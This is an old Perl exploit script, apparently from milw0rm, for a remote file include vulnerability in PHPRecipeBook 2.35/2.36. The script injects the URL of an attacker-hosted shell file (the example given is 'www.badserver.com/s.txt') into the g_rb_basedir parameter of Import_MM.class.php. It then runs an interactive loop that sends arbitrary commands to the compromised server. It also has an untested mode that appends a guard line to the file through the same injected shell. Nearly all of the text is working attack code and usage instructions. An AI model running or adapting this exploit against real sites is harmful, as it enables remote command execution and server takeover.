PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit

                                                #!/usr/bin/perl

#####################################################################################################
#                                                                                                   #
# PHPRecipeBook 2.36                                                                                #
#                                                                                                   #
# Class:  Remote File Include Vulnerability                                                         #
#                                                                                                   #
# Date:   2006/10/16                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   Highly critical                                                                           #
#                                                                                                   #
# Vendor: http://phprecipebook.sourceforge.net/                                                     #
#                                                                                                   #
# Download: http://sourceforge.net/project/showfiles.php?group_id=65127                             #
#                                                                                                   #
# Note: Successful exploitation requires register_globals = on and magic_quotes_gpc = on            #
#                                                                                                   #
# Discovered & Exploit by: r0ut3r ( [email protected])                                               #
#                                                                                                   #
# Exploit: recipe2.36_xpl.pl                                                                        #
#                                                                                                   #
#####################################################################################################

use LWP::UserAgent;
use LWP::Simple;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$file = "/classes/Import_MM.class.php?g_rb_basedir=";

if(!$target || !$shellsite)
{
    usage();
}

header();

print "Type 'exit' to quit";
print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
    $xpl = LWP::UserAgent->new() or die;
        $req =
HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $r = $res->content;
        $r =~ tr/[\n]/[ê]/;

    if (@ARGV[4] eq "-r")
    {
        print $r;
    }
    elsif (@ARGV[5] eq "-p")
    {
    # if not working change cmd variable to null and apply patch manually.
    $cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); >> Import_MM.class.php";
    print q
    {
########################################################################
                 Patch Applied
Code added to Import_MM.class.php:
if(basename(__FILE__) == basename($_SERVER['PHP_SELF']))
    die();

NOTE: Adding patch function has not been tested. If does not complie or
there is an error, simply make cmd = null and add the patch code to
Import_MM.class.php
########################################################################
    }
    }
    else
    {
    print "[cmd]\$";
    $cmd = <STDIN>;
    }
}

sub header()
{
    print q
    {
########################################################################
           PHPRecipeBook 2.36 - Remote File Include Exploit
            Vulnerability discovered and exploit by r0ut3r
                          [email protected]
            For recipe administrator testing purposes only!
########################################################################
    };
}

sub usage()
{
header();
    print q
    {
########################################################################
Usage:
perl recipe2.36_xpl.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p>
<Target Website> - Path to target eg: www.recipevuln.target.com
<Shell Location> - Path to shell eg: www.badserver.com/s.txt
<CMD Variable> - Shell command variable name eg: cmd
<r> - Show output from shell
<p> - Patch Import_MM.class.php
Example:
perl a.pl http://localhost http://localhost/s.txt cmd -r -p
########################################################################
    };
exit();
}

# milw0rm.com [2006-10-17]